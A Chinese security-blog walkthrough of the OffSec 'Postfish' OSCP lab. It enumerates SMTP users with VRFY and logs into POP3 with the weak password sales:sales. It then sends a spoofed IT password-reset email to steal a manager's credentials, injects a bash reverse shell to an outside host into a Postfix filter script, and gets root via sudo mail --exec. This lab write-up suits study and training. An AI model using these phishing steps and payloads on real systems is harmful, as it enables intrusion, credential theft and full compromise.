OSCP中SMTP/POP3邮件服务攻击思路与实战总结(下)Postfish靶场"

admin 2026-10-22 04:42:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

OSCP 中 SMTP / POP3 邮件服务攻击思路与实战总结(下) Postfish靶场

原创

网安布道师
网安布道师

六边形攻防安全

2026年6月22日 07:50
河北

在小说阅读器读本章

去阅读

在上篇文章OSCP 中 SMTP / POP3 邮件服务攻击思路与实战总结(上)中我们介绍了邮件服务器的常见攻击思路,本篇就我觉得比较不错的相关靶场分享给大家,这个writeup由ai进行整理,目前ai对一般的oscp靶场给了思路基本几分钟就能做出来,效果还是很不错的,但对于实际的渗透还差点儿意思。下面一起来看下关于offsec中 Postfish中的wp。

靶场链接:

https://portal.offsec.com/machine/postfish-639/overview/details

端口枚举

全端口扫描:

nmap -Pn -p- --min-rate 5000 192.168.206.137 -oN 206137_nmap_all_ports.txt

开放端口:

22/tcp  open  ssh25/tcp  open  smtp80/tcp  open  http110/tcp open  pop3143/tcp open  imap993/tcp open  imaps995/tcp open  pop3s

服务识别:

nmap -Pn -sV -sC -p21,22,25,80,110,143,443,465,587,993,995,8080,10000 \\  192.168.206.137 -oN 206137_nmap_common_services.txt

关键结果:

22/tcp  OpenSSH 8.2p1 Ubuntu 4ubuntu0.125/tcp  Postfix smtpd80/tcp  Apache httpd 2.4.41110/tcp Dovecot pop3d143/tcp Dovecot imapd993/tcp Dovecot imapd over SSL995/tcp Dovecot pop3d over SSL

SMTP banner 泄露域名:

postfish.off

并且 SMTP 支持 VRFY:

25/tcp open smtp Postfix smtpd|_smtp-commands: postfish.off, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ...

Web 枚举

直接访问 IP 会跳转到域名:

curl -i http://192.168.206.137/

返回:

<meta http-equiv='refresh' content='0; URL=http://postfish.off/'>

使用 Host 头访问或者修改本机hosts文件:

curl -i -H 'Host: postfish.off' http://192.168.206.137/

首页存在 team.html:

curl -s -H 'Host: postfish.off' http://192.168.206.137/team.html -o 206137_team.html

团队页发现 4 个员工:

Claire Madison  - HR SpecialistMike Ross       - IT ProBrian Moore     - Sales ManagerSarah Lorem     - Legal Advisor

SMTP 用户枚举

先简单测试 SMTP:

nc -nv 192.168.206.137 25

交互:

EHLO kaliVRFY rootVRFY postfishVRFY adminQUIT

结果:

252 2.0.0 root550 5.1.1 <postfish>: Recipient address rejected: User unknown in local recipient table550 5.1.1 : Recipient address rejected: User unknown in local recipient table

根据团队页生成用户名:

cat > 206137_team_users.txt <<'EOF'clairemadisoncmadisonclaire.madisonclairemadisonmikerossmrossmike.rossmikerossbrianmoorebmoorebrian.moorebrianmooresarahloremsloremsarah.loremsarahloremhrsaleslegalitEOF

用 smtp-user-enum 枚举:

smtp-user-enum -M VRFY -U 206137_team_users.txt -t 192.168.206.137 -p 25 \\  | tee 206137_smtp_enum_team.txt

确认有效用户:

claire.madisonmike.rossbrian.mooresarah.loremsaleshrlegalit

POP3 读 Sales 邮箱

根据部门邮箱尝试弱口令或者使用hydra进行爆破(hydra -L users.txt -P passwords.txt pop3://),发现:

sales:sales

手工验证:

nc -nv 192.168.206.137 110

交互:

USER salesPASS salesSTATLISTRETR 1QUIT

也可以用 Python 拉取:

import poplibM = poplib.POP3('192.168.206.137', 110, timeout=60)M.user('sales')M.pass_('sales')print('STAT', M.stat())for i in range(1, M.stat()[0] + 1):    print('--- MESSAGE', i, '---')    _, lines, _ = M.retr(i)    print('\
'.join(l.decode(errors='replace') for l in lines))M.quit()PY

这里给出钓鱼方向: 伪造 IT 给 Sales Manager 发送密码重置链接。

钓鱼获取 Brian 凭据

从团队页可知 Brian Moore 是 Sales Manager,对应邮箱:

在本机监听 80 端口:

nc -lvnp 80

注意这里要用 80 端口。发 8000 端口的链接不会触发目标预期访问。

伪造 [email protected] 发邮件给 Brian:

python3 - <<'PY'import smtplibfrom email.message import EmailMessage
msg = EmailMessage()msg['From'] = '[email protected]'msg['To'] = '[email protected]'msg['Subject'] = 'Password reset process'msg.set_content('''Hi Brian,
Please follow this link to reset your password: http://192.168.45.236/
Regards,IT''')
with smtplib.SMTP('192.168.206.137', 25, timeout=10) as s:    s.ehlo('test')    s.send_message(msg)    print('sent')PY

或者使用swaks命令

swaks \\  --server 192.168.206.137 \\  --port 25 \\  --from [email protected] \\  --to [email protected] \\  --h-Subject \"Password reset process\" \\  --body $'Hi Brian,\
\
Please follow this link to reset your password: http://192.168.45.236/\
\
Regards,\
IT'

监听收到 POST 请求:

得到凭据:

brian.moore:EternaLSunshinE

SSH 登录 Brian

验证:

idpwd

结果:

uid=1000(brian.moore) gid=1000(brian.moore) groups=1000(brian.moore),8(mail),997(filter)/home/brian.moore

local.txt

读取:

cat /home/brian.moore/local.txt

Postfix Disclaimer 提权到 filter

Brian 属于 filter 组:

groups=1000(brian.moore),8(mail),997(filter)

检查 Postfix disclaimer:

ls -la /etc/postfix/disclaimer*sed -n '1,220p' /etc/postfix/disclaimercat /etc/postfix/disclaimer_addressesgrep -R \"disclaimer\" -n /etc/postfix /etc 2>/dev/null | head -50

关键权限:

-rwxrwx--- 1 root filter 1184 /etc/postfix/disclaimer-rw-r--r-- 1 root root     41 /etc/postfix/disclaimer_addresses

master.cf 中配置:

dfilt unix - n n - - pipe flags=Rq user=filter argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}

也就是说邮件触发 disclaimer 时,/etc/postfix/disclaimer 会以 filter 用户执行。

disclaimer_addresses 内容:

[email protected]@postfish.off

备份并插入反弹 shell:

cp /etc/postfix/disclaimer /tmp/disclaimer.bak
python3 - <<'PY'from pathlib import Pathp = Path('/etc/postfix/disclaimer')s = p.read_text()line = \"/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.236/4444 0>&1'\
\"if line not in s:    s = s.replace('#!/bin/bash\
', '#!/bin/bash\
' + line, 1)p.write_text(s)PY

本机监听:

nc -lvnp 4444

发送触发邮件,From 使用 disclaimer_addresses 里的 [email protected]:

python3 - <<'PY'import smtplibfrom email.message import EmailMessage
msg = EmailMessage()msg['From'] = '[email protected]'msg['To'] = '[email protected]'msg['Subject'] = 'trigger'msg.set_content('trigger')
with smtplib.SMTP('192.168.206.137', 25, timeout=10) as s:    s.ehlo('test')    s.send_message(msg)    print('sent')PY

收到 shell:

connect to [192.168.45.236] from 192.168.206.137filter@postfish:/var/spool/postfix$

验证:

id

结果:

uid=997(filter) gid=997(filter) groups=997(filter)

sudo mail 提权

查看 sudo 权限:

sudo -l

结果:

User filter may run the following commands on postfish:    (ALL) NOPASSWD: /usr/bin/mail *

利用 mail 的 --exec 执行 shell:

sudo /usr/bin/mail --exec='!/bin/bash'

验证:

id

结果:

uid=0(root) gid=0(root) groups=0(root)

proof.txt

读取:

ounter(linecat /root/proof.txt

总结

攻击链:

nmap 枚举邮件服务-> SMTP 支持 VRFY-> Web team.html 泄露员工姓名和职位-> VRFY 枚举出 firstname.lastname 邮箱格式-> POP3 弱口令 sales:sales-> 读取 sales 邮箱,发现 IT 会发送 ERP 密码重置链接-> 伪造 [email protected] 给 [email protected] 发钓鱼邮件-> nc 监听 80,收到 brian.moore:EternaLSunshinE-> SSH 登录 brian.moore,读取 local.txt-> brian.moore 属于 filter 组,可写 /etc/postfix/disclaimer-> 修改 disclaimer 插入反弹 shell-> 发邮件触发 Postfix filter,获得 filter shell-> filter 可免密 sudo /usr/bin/mail *-> sudo /usr/bin/mail --exec='!/bin/bash'-> root,读取 /root/proof.txt

这题的打点结合web信息搜集、smtp和pop3爆破、smtp发送邮件、linux提权等,可以让大家深入理解收发邮件服务的攻击利用方式。希望大家以后遇到邮件服务器不再迷茫😊。

另外这题我也尝试部署到了我的靶场平台,感兴趣的同学赶快去试一下吧,靶场注册方式见之前文章。


    涉我资讯专刊-第35期" 网络安全文章

    涉我资讯专刊-第35期"

    该文档为第35期安全资讯专刊,内容涵盖暗网论坛动态5条、开源情报信息14条及X平台相关动态2条,属于日常安全威胁情报汇总类简报。文档结构简洁,但未提供具体技术细节或深度分析,主要价值在于信息通报。
    埃及情报总局(GIS)概况" 网络安全文章

    埃及情报总局(GIS)概况"

    本文系统介绍了埃及情报总局(GIS),揭示其远超普通情报机构的权力网络。报告指出,GIS直属总统,自1954年成立后,已从早期的外交秘密行动演变为集国内监控、媒体操控与地区调停于一体的核心权力支柱。其下属的技术研究局(TRD)采购先进间谍软件实施通信监控,并通过控股联合媒体服务集团(UMS)塑造舆论。在加沙、苏丹、利比亚等地区冲突中,GIS积极进行调停与代理人支持。报告认为,在塞西长期执政与区域动荡背景下,GIS对埃及政治、经济和社会的影响力将持续深化。
    评论:0   参与:  0